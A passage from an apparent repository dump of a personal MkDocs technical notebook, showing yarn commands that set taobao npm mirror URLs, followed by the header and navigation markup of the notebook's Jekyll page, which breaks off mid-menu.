class=\"o\">&amp;&amp;</span><span class=\"w\"> </span><span class=\"n\">apt</span><span class=\"w\"> </span><span class=\"n\">install</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">y</span><span class=\"w\"> </span><span class=\"n\">nodejs</span><span class=\"w\"> </span><span class=\"n\">yarn</span>\n\n<span class=\"n\">yarn</span><span class=\"w\"> </span><span class=\"n\">config</span><span class=\"w\"> </span><span class=\"n\">set</span><span class=\"w\"> </span><span class=\"n\">registry</span><span class=\"w\"> </span><span class=\"nl\">https:</span><span class=\"c1\">//registry.npm.taobao.org -g</span>\n<span class=\"n\">yarn</span><span class=\"w\"> </span><span class=\"n\">config</span><span class=\"w\"> </span><span class=\"n\">set</span><span class=\"w\"> </span><span class=\"n\">disturl</span><span class=\"w\"> </span><span class=\"nl\">https:</span><span class=\"c1\">//npm.taobao.org/dist -g</span>\n<span class=\"n\">yarn</span><span class=\"w\"> </span><span class=\"n\">config</span><span class=\"w\"> </span><span class=\"n\">set</span><span class=\"w\"> </span><span class=\"n\">electron_mirror</span><span class=\"w\"> </span><span class=\"nl\">https:</span><span class=\"c1\">//npm.taobao.org/mirrors/electron/ -g</span>\n<span class=\"n\">yarn</span><span class=\"w\"> </span><span class=\"n\">config</span><span class=\"w\"> </span><span class=\"n\">set</span><span class=\"w\"> </span><span class=\"n\">sass_binary_site</span><span class=\"w\"> </span><span class=\"nl\">https:</span><span class=\"c1\">//npm.taobao.org/mirrors/node-sass/ -g</span>\n<span class=\"n\">yarn</span><span class=\"w\"> </span><span class=\"n\">config</span><span class=\"w\"> </span><span class=\"n\">set</span><span class=\"w\"> </span><span class=\"n\">phantomjs_cdnurl</span><span class=\"w\"> </span><span class=\"nl\">https:</span><span class=\"c1\">//npm.taobao.org/mirrors/phantomjs/ -g</span>\n<span class=\"n\">yarn</span><span class=\"w\"> </span><span class=\"n\">config</span><span class=\"w\"> </span><span class=\"n\">set</span><span class=\"w\"> </span><span class=\"n\">chromedriver_cdnurl</span><span class=\"w\"> </span><span class=\"nl\">https:</span><span class=\"c1\">//cdn.npm.taobao.org/dist/chromedriver -g</span>\n<span class=\"n\">yarn</span><span class=\"w\"> </span><span class=\"n\">config</span><span class=\"w\"> </span><span class=\"n\">set</span><span class=\"w\"> </span><span class=\"n\">operadriver_cdnurl</span><span class=\"w\"> </span><span class=\"nl\">https:</span><span class=\"c1\">//cdn.npm.taobao.org/dist/operadriver -g</span>\n<span class=\"n\">yarn</span><span class=\"w\"> </span><span class=\"n\">config</span><span class=\"w\"> </span><span class=\"n\">set</span><span class=\"w\"> </span><span class=\"n\">fse_binary_host_mirror</span><span class=\"w\"> </span><span class=\"nl\">https:</span><span class=\"c1\">//npm.taobao.org/mirrors/fsevents -g</span>\n</code></pre></div>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/Jekyll/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../Git/\">\n      \n      \n        <link rel=\"next\" href=\"../PaperReading/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Jekyll - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#jekyll\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Jekyll\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          Jekyll\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        Jekyll\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    碰到过的坑\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    配置代码高亮并显示行号\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#github-metadata-warning\" class=\"md-nav__link\">\n    解决Github Metadata Warning\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#markdown\" class=\"md-nav__link\">\n    解决Markdown有序列表被文字间隔的问题\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" 